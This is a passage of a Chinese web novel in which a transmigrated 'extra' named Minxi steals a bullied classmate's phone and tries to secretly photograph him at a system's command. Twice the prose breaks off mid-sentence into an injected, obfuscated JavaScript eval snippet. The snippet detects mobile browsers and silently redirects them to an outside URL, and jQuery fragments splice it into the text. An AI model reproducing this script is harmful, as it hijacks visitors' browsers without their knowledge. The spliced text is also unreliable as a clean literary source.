《路人甲逃跑实录》 2. 催眠(2) 如果此时有人从电梯里走出来,就能看到。 一个长相优越的男生步伐缓慢地走向前面的房间,从口袋里拿出一条钥匙,打开了门。 按下门把时,男生忽然不适般后背僵了僵,接着,眼睛重新注入色彩。 悯希伸手按住发痛的额角,抬眼看向眼前的门,有些迟疑。 他刚才怎么过来的? 不等他细想,房间里大片浓郁的血腥味和热度烘了出来,悯希差点没站稳,他呛得咳嗽了下。 只见屋里暗沉沉,墙角坐着一个人,脑袋垂着,不知是死是活。 那应该就是主角受谢宥吧…… 身上都没一块好肉了。 悯希抿唇,慢慢朝那边走过去,仿佛怕把人吵醒,脚尖轻踮,静悄悄地走到谢宥身边,蹲下。 他观察谢宥,见没有苏醒痕迹,立刻抬手朝谢宥裤子口袋伸去。 殊不知,在他手指伸进口袋里时,墙角的人就睁开了眼。 幽静似狼的目光从眼前人的脸上刮过,谢宥垂眸。 是叶悯希,来得正好。 谢宥的手就在背后,那里有把小刀,只肖一握紧拿出来,就能把面前的人吓得哭出声。 但一行血滑过眼皮,谢宥视线忽然变清晰,动作就顿住了。 他被关押的房间又暗又狭窄,走廊里的光照进来,悯希整张脸都暴露无遗,特别小一张,带点卷度的睫毛根部还有些濡湿。 他抓在自己胳膊上的手很湿,抓不稳似的,屡次打滑,到最后呼吸越来越急,眉心也轻微拧起。 那样看了片刻,谢宥方才反应过来。 他在害怕? 谢宥不能理解。 这段时间来,他隔三差五被泼水、扎自行车轮胎……诸如此类的找事行为,永远没有尽头。 那个时候,叶悯希从来没有害怕过,只会盯着他,得意地扬唇笑。 现在为什么会怕。 谢宥的目光在悯希脸上来回打量,突然看见他睫毛晃动,眼睛亮起来,自言自语地小声道:“拿到了。” 口袋里的手机不知何时被悯希抢了过去。 这是一台老旧的机子,边框和屏幕都有明显的磨损痕迹,使用时间至少五年以上,摸上去还能感觉到男人没褪去的灼烫体温。 放二手平台上卖,可能都不用五百块。 这种手机哪里值得抢? 反派路人甲的脑回路真让人猜不透。悯希纳闷吐槽,却不敢在这里久留,把手机塞口袋里,起身想走。 他蹲得脚有点发麻,撑在旁边的墙壁上,右手捂紧那部来之不易的手机,一点一点直起身。 然而正想抬头时,悯希蓦地对上了一双暗沉如潭的双眼。 幽深无光,暗沉沉的黑瞳。 不知已经看了多久。粘腻如游蛇在他每一寸肤肉划过,让人头皮蓦然炸开。 都不用一分钟,悯希脸上的血色瞬间如潮水般褪去,变得透明。他鼻尖也发红了,双腿并拢,踉跄往后退了几步:“你、你什么时候……” 到底是没干过坏事,心虚,胆子又小。 刚顺走人家一台手机,又被当场抓包,悯希慌得膝盖发软。 退了两步,踩到后面的软布,整具身体重心不稳,直往后栽。 就在这个时候,门外走廊传来喧哗的动静,似乎是有人结伴朝这边走,皮鞋和运动鞋踩地的声音,交错涌进门。 不一会儿,有七八个人停在了门外。 为首的就是黎星灼和一个陌生男人。 其他人身份略低,并排站在后面,但由于身高都不一般,这群人高马大的男人都不用踮脚刻意找角度,都能直接看清屋内的场景。 一道道目光穿进门口,落在屋里。有人惊呼道:“谢宥还真在里面!” “等等,还有别人?” 所有人堆在一个地方,人头攒动,让光透不进来,不知是谁啪地摁了灯开关。 灯管一颤,白炽灯照进每个人的眼底,这帮身份不凡的公子哥终于看见了一直在找的谢宥。 然而里面不止他一个人,还有…… 叶悯希? 谢宥满脸是血,曲起一条腿坐在墙角,他眉眼锋利,双手却有些僵硬地握在怀里人的腰身上。 刚才他鬼使神差伸手抓了一把,本来要往后倒的悯希就摔倒了他怀里,有他这个人肉靠垫接着,悯希倒不怎么疼。 只不过,状态还是没好到哪去。 谢宥身材高大,肩膀宽阔胸膛又硬,悯希骨架小,比他小两码,本来就被他硌得浑身不舒服,偏头一看,又正好看见谢宥身后的刀具。 悯希一瞬间吓都吓死了,有理由怀疑谢宥刚才是想把这刀用在他身上,想报复他。 而他现在人就在他怀里,岂不是更能让他为所欲为? 想剁他根手指,又或是往他脸上划一刀…… 悯希缩在谢宥身前,从下巴到小巧的鼻尖,这一段地方都绷得很紧,分不清是灯更白,还是他脸更白。 此时听见声音,他仰起面庞望过去,摁在膝盖上的柔软手指顿时一缩,目露期冀。 在那样的眼神里,本就寂静的气氛,陡然更加怪异。 来找谢宥的这帮人,来之前就在宴会的负责人那里看过监控,了解了事情经过。 跟在萧以梵身边的这几个狗腿,见萧以梵这几天去哪都叫上谢宥,生起了嫉妒心,认为是谢宥妖言惑众,想要攀上萧以梵。 也有一部分狗腿觉得,是萧以梵和谢宥两人在交往。 但不管哪一个都让他们不爽,前者,他们狗腿本来就多,僧多肉少,见不得又来个人和他们抢。 后者,那肯定是谢宥故意在萧以梵面前晃、吸引注意力,才让萧以梵看上他的,更欠收拾。 所以由叶悯希牵头,这半个月以来他们都在背着萧以梵霸凌谢宥,每次都要见血为止,可见其心有多毒。 这样一个霸凌者和被欺负者的身份,为什么会抱在一起? 特别是,谢宥到现在还没想起来要推开叶悯希。 死寂中,有个染白毛的男人实在忍不了这气氛,揉了揉后脖子。 他目光无意识定在悯希身上,笑着缓和气氛:“以梵,看你这些小弟闹的,一个个争风吃醋,把人揍成这样。你是不是平时太少关注他们了?” 说完,他看向黎星灼身边的男人。 那男人个子很高,头顶几乎擦过门框,衣服盖不住身上嶙峋的肌理,袖口处露着一截遒劲有力的腕骨,和黎星灼完全是两种风格的人。 一个气质冷淡,一个模样懒散,但都在他们圈里很有威望,平时能和他们开玩笑,不过都得收着来。 萧以梵摩挲手机的手一顿。一缕灯光映在他眸中,又因他垂下眼皮而消失。 他看向远处缩在谢宥怀里的悯希。 白毛的一句争风吃醋,瞬间将萧以梵的记忆拉回三月前。 那是他第一次见叶悯希,那时他办事从医院经过,刚好与从里面出来的叶悯希遇上。 对方似乎是在学校里听过他,见到他就双眼放光打招呼,借机聊起自己住院的妹妹,说自己无父无母拉扯一个小孩多不容易,卖惨又卖苦。 而且那会叶悯希确实形象不佳,像在贫困村泡大的,比同年级的要清瘦许多。 萧以梵无所谓身边跟班多一个还是少一个,叶悯希提起想跟着他,他就随他去了,后面也基本忘了这人。 偶尔见他一面,他都表现得鞍前马后、挺会来事,不过有那么两次萧以梵也会听见别人告状,说他故意欺负谢宥。 但每次他被领过去现场,叶悯希都会使尽浑身解数求饶,道歉,求萧以梵不要开除他。 这次,恐怕也一样。 萧以梵面上情绪平淡,抬起眼,果不其然就见那地上缩着的人拍拍屁股站起来,飞快朝他这边走,眼睛里明显闪烁着星星,得救了似的。 悯希一步步走近。 然后在快要靠近他的时候…… 直接越过他,走向了黎星灼。 萧以梵一怔,身边一空。接着,斜侧后方就传来咬耳朵的小声询问:“你不是在我家吗?” 黎星灼握住矿泉水瓶的手略微一僵。 他看了眼直奔他来、和他悄声说话的悯希,升起一种难以形容的感觉。不知怎么也跟着压声:“我逗你的,我还能真往你家闯啊,我三好市民。” 空气中还有血腥味,在人的鼻尖徘徊。 黎星灼不太喜欢这味道:“你看你把人打的,下手还挺黑。” 悯希脱口反驳:“我没打他。” 他说话声音有点大,使得远处投来一道视线。 悯希口袋里还有从对方那里抢来的手机,见状偷偷往黎星灼身后躲了躲,有点虚,可是怕归怕,那些伤,本来就不是他打的。 黎星灼眉骨轻抬:“不是你打的是谁打的?” 悯希瞪他。 悯希这个人很有眼力见,真正不能招惹的他见一眼就怂,不会对他怎么样的,他反而会脾气大点,简单来讲,就是很会挑软柿子捏。 而且黎星灼又是他来到这里第一个说上话的,难免和别人不太同,所以他才敢和黎星灼说话。 现在听黎星灼这么说,他又根本没做过,很委屈,然后就是愤怒,乌黑的眼睛睁圆,使劲瞪着他。 黎星灼盯了一会,略微恼怒:“你觉得这事撒个娇就能解决吗。要不是我压着,你这时候都得在局子里。” 悯希眼睛瞪得更大,甚至感到呼吸不畅:“我说没有就没有,你烦不烦。” 他低头,往黎星灼那对价值七位数的鞋望了眼,脚尖蠢蠢欲动想踩一脚,可最后又怕黎星灼讹上他,他忍住了:“遇见你就很烦,没遇见之前都好好的!” 这纯属就是在迁怒了。 黎星灼哪能看不出来,被他气得直挑眉,但要说真想对他干什么,又好像没有。 一旁的其余公子哥,用怪异的眼神看着他们那一边。 看黎星灼气得眼冒金星,眼睛却一直盯着叶悯希,没挪开过……又见叶悯希对着黎星灼说一句顶一句,柔软白皙的指腹却一直揪着黎星灼。 但那真的是叶悯希吗? 以往的叶悯希,两面三刀,横行霸道,爱折腾人,看见就讨厌。 从没有哪一次像现在这样……柔弱不堪,脆弱可怜,让人移不开眼,又这么黏黎星灼,好像没了他就不行。 他们的关系什么时候变这么好了? 悯希觉得和黎星灼说不清,干脆闭嘴。 他一不说话,室内重归平静,还是那白毛打破的:“都别杵着啊,宴会还没结束呢,还想不想继续玩了?” “以梵,我找人送谢宥去医院,就我爹那家,医生都是自己的,不会有人乱说话。” 萧以梵有点走神:“嗯。” 萧以梵都同意了,那白毛下意识就想掏出手机叫人,然而墙角的谢宥却在此时站了起来,说:“不用。” 青年阴郁寡言,刚才起就一直没说话,现在,丢下两个字后又朝门口走去。 白毛看了眼萧以梵,见萧以梵不知道在看哪,没表态,也没敢说话,其他人也就更不敢,所以谢宥一路走出去,没有人拦。 毕竟这事说白了和他们没太大关系,当事人都选择了事,那他们还能硬处理? 众人彼此对视,都耸耸肩,该散场的散场、该继续玩的继续玩。 悯希有点难受,想早点回去,没注意到萧以梵投过来的视线,他跟在黎星灼身后,一起走出了一楼大门。 还没到盛夏,晚风很凉,被一吹,悯希身体颤了颤。 他目光瞥到黎星灼搭在臂弯的风衣,犹豫了下,还是开口:“能不能借你的衣服盖盖?” 黎星灼站在路边,脸色很差,他不知道自己为什么要跟人出来,今晚从头到尾,他表现都很 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15165226|165099||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 蠢。 真的,很蠢。 听到悯希的要求,黎星灼故意冷着脸,摆出和以前一样的神色:“盖哪,肚子?你想拿我衣服当肚兜?不借。” 悯希有些为难又认真道:“可是我姥姥说露肚脐会着凉。” 他穿的短袖衣摆很短,是露脐装,露着一片富有弹性的肚子,中间一颗圆巧肚脐,衣摆下方延伸出两根黑色蕾丝宽带,一左一右缠绕起来,勒着雪白肚皮。 在悯希眼里,是很露骨的穿着。 黎星灼收回目光,嘴唇抿成紧紧一条线:“穿的时候不见你这么想。” 如果那帮太子爷们还在这里,肯定会想,这才是黎星灼,眼高于顶,谁都不放在眼里,更不屑答应悯希任何要求,以此自降身份。 悯希闻言有点烦,他不太想热脸贴冷屁股,可他更不愿意一直露着肚脐,因为晚上回去肚子会痛。 他睫毛仰起、下巴微抬,用浸着一层水光的眼睛看向黎星灼,再度靠近黎星灼,开口道:“真不行吗?那我求求你呢。” 两人的距离一下挨得很近,悯希那只拿着手机的手,随着呼吸忽远忽近,好像随时都能碰到小腹上的沟壑。 黎星灼看向那只手,眉心猛地跳了好几下,脊骨立刻窜上一阵不正常的生理性麻意。 黎星灼想,他应该是恐同。 ……男的但凡接近他,他身体就会不舒服。 “说话就说话,别凑太近。” “拿着,”黎星灼给悯希递过去一个不自然的表情,把衣服往他怀里一放,“我去开车。” …… …… 悯希把黎星灼的衣服完全当挡风罩用,拿起两条袖子系在腰间,最后再轻轻一勒,好像真成了黎星灼说的肚兜。 他皱眉,把这形容词从脑袋里挥去,拿出手机想找找原主住哪。 刚点开外卖平台信息,远处大门口结伴走出来几个公子哥,似乎也都在看手机,看着看着,就发出骂骂咧咧的咒骂:“这什么鬼东西!” 声音实在太大,悯希又比较容易受惊,他朝声源看过去。 那发出声音的公子哥正好转头看见他的眼神,脸庞顿时涨红。 悯希的长相带点靡丽,眼尾微微上翘,致使他懒洋洋瞥过来的目光,有一种勾人精气的妖媚。 公子哥吞口水,竭力装出平时那随意、人模狗样的语调找补道:“你们收到没?这信息,说什么半年后的今天就是我的死期,我呸。” 其余人脸色难看,显然也收到了,他们这种豪门贵族最忌讳死不死的,表情都有些不善:“这家伙是群发的吧,别让我知道是谁在恶作剧。” 因为离得近,悯希不小心看到其中一部侧翻的手机屏幕。 只见屏幕上除去那句公子哥说的死亡宣告后,还有一张血淋淋的网图,两者搭配起来,装神弄鬼地恐吓着这帮太子爷。 悯希没太关注,因为他的试炼成功通知来了。 「恭喜宿主,已完成新手试练,只要赚够100点积分,则可兑换重生机会。」 悯希松口气,那张诱惑感十足的脸上露出一点烦闷:“只要一百积分就可以?那你可以告诉我,这部漫画是讲什么的了吧?我总不能什么都不知道。” 「欲望都市还没完结,目前更新的内容可以大致概括为:半年前,包括叶悯希在内的几个公子哥和狗腿,在盘山公路上对主角受谢宥犯下了不可饶恕的错事。」 「谢宥是谢家流落在外的血脉,本来在认亲的途中,因为你们做的事,谢宥这支高岭之花被狠狠摧折,没被认回,两年来都只能忍辱负重在各处打工赚零用,艰难活着。」 「主角攻萧以梵受家里人吩咐,要多关照一下谢宥,两人就在接触中日久生情。」 「现在是暑假,谢宥这段日子都在一家杂货铺兼职,就是前面那一家。」 悯希鼻尖被夜风吹得发红,他闻言一怔,抬起头看。 远处是一条沥青路,招牌不明显的杂货铺建在拐角,里面亮着灯,隔在老旧的软门帘内。 老板娘正坐在柜台看电视,是一台大头电视机,放在用铁皮制成的糖果罐边上,唱着粤歌的女星咿咿呀呀,温婉如水的笑颜时不时就因花屏而扭曲。 她正听着入迷,软门帘突然被人撩起。 老板娘抬头望去,顿时大惊失色,“哎呀,造孽啊,你这脸!你被人欺负了?” 谢宥在外面已经简单处理过,斑驳伤痕都擦了碘伏,额角的都被头发遮住,可脸上的却没法遮,身上的衣服全是脚印,妥妥被霸凌过的模样。 他走进去,舌尖轻触口腔里的肿胀:“没有。” 老板娘不信:“怎么可能没有?瞧瞧这脸,瞧瞧这胳膊……” 谢宥任由她捋起袖子看。 老板娘一边看,一边露出惊心的表情:“这是谁打的?真不怕闹出人命来!” 谢宥低声道:“没关系。” 老板娘知道他性子,不理他,转身去给他找绷带。 谢宥站在柜台前整理东西。 过了两三秒,他忽然抬起头,目光越过老板娘头顶,沉暗地直穿出去。 那是道极富有侵略性的眼神,很冷,很沉。 被他盯住的悯希几乎是瞬间浑身僵住,鼻尖沁出点汗。 不知道为什么,他有点怕谢宥,明明论脾气,黎星灼比谢宥更暴躁的,但他就是更怕谢宥…… 悯希想挪开目光,偏偏坏事成双,叮的一声,他听见系统突然出声道—— 「路人甲剧情点发布:你没想到欺负谢宥的事会被萧以梵发现,你怒火中烧,觉得肯定是谢宥故意告给萧以梵的,你气得头昏。 而这一晚,你又无意间发现谢宥在杂货铺兼职。 你冷笑,心说真是个穷酸鬼,也不知道萧少爷是怎么看上这穷鬼的,肯定是被蒙蔽了。」 「你为了报复谢宥,决定偷窥谢宥,拍下他一张隐私照。」 3. 催眠(3) 隐、私、照。 人生真是处处有惊喜。 他要到哪去拍这玩意? 悯希攥紧手机,眉眼间覆满不可置信,一张脸瞬间爆红。 明明别人听不见这声音,他却猛一下拉起衣领,罩住自己的下巴,嫌丢脸似的,好像自己已经拍了别人的不雅照片一样。 这副手足无措生怕别人看到的模样,全部落在幽幽盯着他的谢宥眼里。 谢宥唇角平直,半边隐没在黑暗中的脸极为紧绷,他这个人很少失态,唯有在叶悯希面前才多次做出皱眉、忍耐的表现。 没有人比谢宥更清楚,叶悯希折腾人的手段,有多没有下限。 大晚上的,不在宴会上吃喝玩乐,却出现他所在铺子的附近…… 只能让人想到他是想继续寻衅闹事,非要把他、还有他周边的人作得翻天了才肯罢休,是今天打的还不够吗,还是又有谁惹他不高兴了? 谢宥垂下眼沉默片刻,低声道:“卢姨,绷带在内屋。” “在内屋?”蹲着翻找柜子的老板娘声音疑惑,拧着眉回忆,没想起来在哪。 不过杂事都是谢宥在办,她没起疑,最后还是进了内屋。 支走老板娘后,谢宥开始思考自己手头现金有多少,如果叶悯希把店砸了,他又要赔多少。 大致的数目成形,数额在他能赔的范围内。 谢宥后背微松,万事准备就绪之后他抬起眼皮,目光再次穿出去,看向门外。 下一刻,他神情微顿,出现了显而易见的怔愣。 只见外面那被他认定会进来闹事的男生,恨不得把腰间衣服脱下来罩在头上,目光飘忽,脸蛋也红如滴血,看也不看他直接扭身就跑。 悯希一路垂着脑袋快步走,想让晚风吹散身上的热度,但脸色还没恢复正常,手机先响了,他没看屏幕直接接起来。 传音口滋滋两声,传来礼貌的询问:“你好,是叶悯婉的哥哥吗?” 悯希瞳孔有一瞬的收缩,答道:“对,我是,你……” 那边的女声温婉柔和:“我是仁和市医院的护士,小婉明天需要做一次透析,得麻烦你抽空来医院缴一下费用,还有小婉快两周没见你,恐怕也想你了。” - 悯希不知道自己是怎么挂断的这通电话,等好不容易有了意识,他发现自己的心脏在快速收缩扩张,唇齿里的水好似都变成了手心里濡出的汗。 喉咙很干,手却很湿。 事到如今,悯希无比确认他已经穿进了漫画里,这个世界无论是省市构造分布还是名字,都和他原来认识的那个完全不同,原主的交际圈子也和他八竿子打不着,没有一丁点相似之处。 但为什么…… 原主也有个妹妹叫悯婉,而且也是慢性肾衰竭,需要长期住院治疗? 悯希胡思乱想着,怎么也想不通,他攥着手机转过身,想先去仁和医院看看,刚一动,脑袋撞到一个温热宽阔的胸膛。 他那点软绵绵的肉,撞到人身上都没太大触感。 黎星灼连动都没动,挑眉低头对上只到他下巴的悯希,出声道:“想什么呢?心不在焉的。” 悯希没心思和他说话,看他一眼,纤长手指解开身上风衣的结,闷不吭声还给他,提步就走。 手上冷不丁多出一件衣服,黎星灼被扑鼻而来的幽香冲得僵硬一瞬,本能抬起手抓住身边经过的人。 待悯希望来,他也无法解释这鬼上身的行为,故作冷酷道:“你什么态度?说走就走,我之前说还要和你算账,忘了?” 两人本就力量悬殊,悯希被他一抓,重心不稳地撞到他身上,那条如剥壳荔枝般的手臂,顿时在他身上挤出软团。 悯希蹙眉,唇肉仿佛被揉开了,隐约露出软红舌尖,轻哼一声。 但他很快抿住,抬头望向黎星灼,问道:“我要去仁和市医院,你能送我吗?” “市医院?” 黎星灼第一想法是,不可能。 他今晚已经很不正常,甚至越过萧以梵帮悯希压住谢宥的事,绝对不可能再当车夫送他去这去那的,这事连商量都没得商量,他斩钉截铁道:“没空。” 悯希点头,没露出意外的表情,他也没想过黎星灼一个被众星捧月惯了的太子爷能答应自己的要求,只不过随口一问而已。 顺嘴罢了。 他将身上衣服往下扯了扯,越过黎星灼走到街边。 黎星灼站在街角冷眼看他抬手招车,作壁上观地看他开头就碰了两次壁,现在是晚高峰,接连来的两辆都是满客。 但也就那么两辆,下一辆是空车,司机看见悯希在招手,猛踩油门就开了过去,稳稳停在路边。 悯希打开车门,正欲坐进去说地址,忽的,头顶伸来一只手猛地握住了他按在车门上的手。 悯希的手被按在车顶上,发出砰的一声。 出租车停的路边有一层台阶,台阶上来来往往都是人,有一两个离得近的被声音吸引过来,首先看到的是车门旁边一双利落修长的双腿,还有挺拔的躯体。 如果再细看,就能看见他手里捉着的细瘦手腕,以及交错在他黑色长裤中间的两条长腿。 很细,白到发光,像搅拌成型的牛乳,吸引着人一探究竟,可没人能看见他身前被挡住的男生长什么样。 唯一能看见的是,抓住他的男人,露着半张冷锐的脸。 他一副收高利贷上门讨债的模样,没人想到他嘴里说的是:“我送你,我送你行了吧……” 黎星灼没等悯希说话,一把将他拎到台阶上,拧眉朝车里望了一眼。 那车里一股催人呕吐的皮革味,混杂着前面摆放的柠檬熏香,生成一种生化武器级别的味道,灰色座套不知被多少人坐过,呈现着油腻腻的观感。 黎星灼没见过这么糟糕的内部环境,嫌他脏,又嫌他破,难掩嫌弃地开口道:“这什么破车?你坐上去,屁股都得变臭。” 司机转头飞来一个眼刀:“你这小伙子,嘴怎么这么讨人嫌!” 黎星灼还想说什么,被悯希一把拉住。 悯希无所谓坐出租车还是黎星灼的车,但实在不想陪他在这丢人,赶紧拉着他走,一边拿出手机给他转账。 转了五十块,可能还转多了。 黎星灼听见提示音,拿出手机,反手给他退回去:“快收起你这三瓜俩枣,你打发叫花子呢。” 悯希:“……” 他恼怒:“……爱要不要!” 最终悯希还是坐上了黎星灼的车,但在黎星灼要调导航时,他忽然想起重要的事,抬手按住黎星灼的手背,“等等,我要先去一个地方。” …… 谢宥十点半收工,十一点回到家。 谢宥的房子是租的,两百一个月,没物业,没安保,又脏又破,藏在拐角处还不太好找。 他从口袋里拿出钥匙,慢慢走上台阶,正好看见有个人从他屋子前经过,嘴里发出啧啧的叹息。 那人看谢宥的目光里,含着明显的怜悯和唏嘘。 每个看见谢宥屋子的人都是这样的反应,很好理解,那屋子的大门被人泼满了墨水,门口墙边还扔着臭气熏天的垃圾,一摞摞堆着,惹得苍蝇满天飞。 一看就是被人故意针对,欺负了。再一看谢宥身上的伤,更能佐证这个事实。 这两天来,谢宥 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15165227|165099||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 没少被这样的眼神看过。 但谢宥并不觉得难堪,有小孩笑嘻嘻说他家像垃圾场的时候不觉得,有人捏着鼻子从他家门前经过的时候不觉得,有人目露嫌弃的时候也不觉得。 真正让他难堪的,是其他的事。 谢宥面上没太多情绪,将钥匙卡进孔里一扭,推门就进了屋子。 屋子里开着灯,醒目刺眼的光笼罩过来,让谢宥本能眯了下眼,而后他才缓慢偏过头,与沙发上坐着的男人对上视线。 对方穿一身白色长外褂,里面配着低调的衬衫,天生弯眉,使得他举手投足都风度翩翩。 ——谢家的私人医生,许睿。 见到他的一刹那,谢宥所有伪装都从身上褪去,面上还是没太多情绪,手指却开始神经性地轻微痉挛。 那阵抽动太明显,许睿想打招呼的声音噎了回去,他赶忙从药箱里拿出一个瓶子,站起身递到谢宥手里:“就水喝和干咽都可以,你的情况只用吃一粒。” 谢宥倒出一粒白色药片放进嘴里,后齿喀嚓咬成粉末。 许睿问:“要水吗?” 谢宥克制着呼吸频率,声音嘶哑道:“不用。” 许睿只好站在一边等待。 谢宥面无表情吞咽的时候,许睿目光在不受控地滑动,扫过他创伤的脸庞,破了的嘴角,还有青紫交加的脖子。 虽说他知道谢宥是故意承受这些,好让媒体记者拍到,用舆论逼迫谢家认回他,但这几次三番差点连命都没了的牺牲,还是…… 还是太过了点。 许睿神色复杂,忍不住多嘴问道:“你真的是因为那个叶悯希才发病?” 他作为站在谢宥这一边的人,对谢宥的情况了如指掌,正因如此,才更不敢相信。 谢宥没说是不是。 他擦拭唇角,似乎是见许睿脸上的讶然太明显,唇角轻压,良久才平静道。 “人的皮囊血肉只是大脑的载体,每个人的躯体感受和大脑意志都应该分开,身体产生的欲望对象和大脑的厌恶对象可以一致,对一个人同时有渴望和厌恶都是正常的情况。” 许睿苦笑:“话是这么说,但——” 知道他今天正准备洗澡的时候,突然收到多次命令他、没事不要主动联系的谢宥的信息,说“我被坐了一下,发病了”时,有多惊讶吗。 “——你以前也被他碰过,可从来不会有反应,怎么这次就突然发病?” 谢宥看他一眼,没说话,眼神冷淡犹如黑潭水。 许睿知道他这是不会回答了的表现,叹一口气。 他想到什么,嘴角微抽道:“不得不说,某种程度上你还挺异于常人的,甚至让我有些震撼了。” 从傍晚六点硬到十一点,跟没事人一样,照常给人结账、与人对话,还能风轻云淡捱到下班点,再骑车回来。 谢宥此刻药效已经生效,体内横冲直撞的躁意在慢慢平息、湮灭,脸上的倦态也冒了出来。 他坐下,许睿猜出他差不多要赶客了,自觉拿起自己的药箱准备走人,却见谢宥在这时眉梢忽然蹙起,削长手指轻抬,发出一声:“嘘。” 许睿鲜少见到他这种神态,刹那间如临大敌。 他攥紧药箱,立刻顺着谢宥目光看向大门。 谢宥家的客厅看不到大门,从门口进来需要一直往里走,再绕过拐角,才是客厅,此时安静下来,许睿听见有门被轻轻推动的声音。 许睿不知来者身份,惊疑不定地望向谢宥,谢宥却没看过来。 他垂覆着眼皮,喉结轻轻滚动,情绪不明地低声说道。 “有只偷跑进来的……” “兔子。” 4. 催眠(4) 半个小时前,本来说要去医院的悯希,又让黎星灼改道去一个导航都差点搜不到的地方。 当黎星灼把自己亮闪闪的豪车开进这臭水沟一样的地儿时,眼角狂跳,差点反手就打方向盘走人。 这破旧小区,应该叫小区吧,地上都是污糟糟的黑水,臭气熏天,比垃圾场还不如。 电线杆上的监控歪着脑袋,一看就是坏的,来往路过的三教九流,模样比电视剧上那些杀人犯还像杀人犯。 黎星灼住惯高档小区,见惯开着布加迪西尔贝的高端人士,不知道地球上竟然还有这种没车位、停车难,视线所及都是不明棕黄色液体的破地。 而旁边坐着的叶悯希,一不留神就解开安全带下了车。 临走前,他还趴在窗沿上,眨巴着那双眼睛问自己:“我很快就回来,能不能等等我?” 黎星灼忘记自己怎么回答他的,或许根本没出声,他被熏得头疼欲裂,连动一下都难。 等好不容易有了意识,他没踩油门离开,反而升起车窗,傻兮兮留在原地等。 黎星灼真想不明白,自己今天一味地对叶悯希纵容忍让,究竟是为什么。 叶悯希脾气那么差,看起来就是那种没几个月就会腻,一脚把人蹬了的人,平时也会不回消息,一回就是代付。 他又不贱,从来都不喜欢这种,只喜欢乖的。 至于脸,脸确实是有点漂…… 总之,真挺一般的。 - 谢宥家的门被人用蛮力踢过,锁坏了,轻轻一关关不牢,谢宥每次回到家都要转身检查一遍。 今天是意外,他没有检查。 而门外那人把门推开了一条缝,也没有进来,脚步声逐渐走远。 谢宥让许睿先从偏门出去。 许睿不明所以,却隐约猜出一定是经常霸凌谢宥的那帮人里的一员。 许睿长相普通,放在人群里找都找不见,但天生笑唇,见者通常会感到如沐春风,此刻却神色复杂,表情难得晦暗。 他扫过谢宥的脸,感慨万分。 谢家全家上下享尽齐人之福,真正的血脉却被留在外面吃苦挨打,还要想尽办法让人认回自己。 活着也不安生,整天要遭人暗算。 许睿叹息着拉开偏门,脑子忽的闪过一缕光。 他匆匆转过身,压低声音冲谢宥道:“我忘记和你说件事,有小媒体记者已经找到了谢长山,威胁谢长山把你的照片买断,谢长山给钱了,但也气得不轻,估计这几天会来找你。” 谢宥余光偏向窗外,良久才低低应声:“不用理会,我们只用关注好蓝俜媒体的动向。” 许睿点头,眉宇郑重,见天色不早,他准备回去洗那个没洗完的澡。 示意完谢宥有事找自己,许睿把那瓶装满药片的罐子放在桌上,从偏门走出去,关门前,许睿目光瞥了眼墙角。 那里放着一摞谢宥从小到大的各种奖项,金的、银的、纸质的,满到盛不下,被随意堆在角落。 许睿想起了当时在小县城里找到谢宥时的样子,在那样的穷酸地长大,这人还是没有走上歪路,笔直地长成了如今这副模样。 蚌壳里撬出来的珍珠,即使陷入了泥泞,珍珠依旧是珍珠,难以蒙尘。 谢宥迟早是要回谢家的。 …… 悯希从黎星灼车里一下来,就跑到了谢宥家门口,他见里面亮着灯,下意识推了下门,没想到门没关紧,发出让人牙酸的嘎吱一声。 他手一缩,想起谢宥的高大体格,立刻跑走,跑到房子的背面。 拍个照片没必要面对面,他神不知鬼不觉也可以拍到。 悯希觉得自己很幸运,背面就是浴室,上面有一扇窗口,能看到里面。 就是有点高。 悯希左右张望,看见那堆杂草丛里有个黝黑轮廓,他走近了,发现是一把旧凳子。 这也太幸运了,悯希甚至觉得自己现在去买彩票,能中个一百万。 他不顾凳子上的灰,用手扶起椅子,见四个凳脚都是齐全的,连忙把凳子挪到那面墙前。 随后,他尽量控制着声音,踩到凳面上,然后艰难拿出手机,双手扶住窗沿,对准窗口。 摄像头摇摇晃晃,好不容易才拿稳。 悯希抬起眼看过去,只见屏幕映照出来的是一间狭小的浴室,只有简单的莲蓬头和水管。 ……没有人! 悯希摆弄手机左右照了照,最后发现,他刚才看见的光不是浴室里的,是外面客厅照进来的。 悯希眼一黑,踮起的脚尖一卸力,脚下的凳子随之被踹翻,哗啦一声掉在地上。 我的凳子! 悯希绝望地撑在窗沿上,飞快低头看向地面,见那把椅子已经彻底倒了下去,脑袋也迅速晕起来。 他平衡力不太好,跳下去有七成概率会摔倒,最重要的是这一大片草丛有半个成人那么高,什么都看不清,很可能有猫狗鸡鸭产下的有机物。 所以…… 他很难决定要不要跳下去。 悯希试探性往下够了够脚尖,可哪怕脚绷到最直,也完全碰不到地面。 悯希在心里做思想挣扎,五秒后,他的脚心忽然触碰到一片坚硬且熟悉的硬物。 身后有人将凳子捡起,放在了他脚下。 悯希难掩惊喜道:“谢谢!” 背后传来清冷声音:“不客气。” “……” 将近半分钟过去,悯希转过了头,动作僵硬。 头顶就是窗户,在那窗口透出的模糊光线中,他对上了一张长相清俊的脸。 男人站在昏暗处,没穿外套,能看见的皮肤全都伤痕累累,孱弱却气势压人地挤进悯希的眼底。 两人目光相撞。 悯希心头不由得重重跳了跳,前脚掌一僵,又不小心一滑,凳子被他重新踩回到地面。 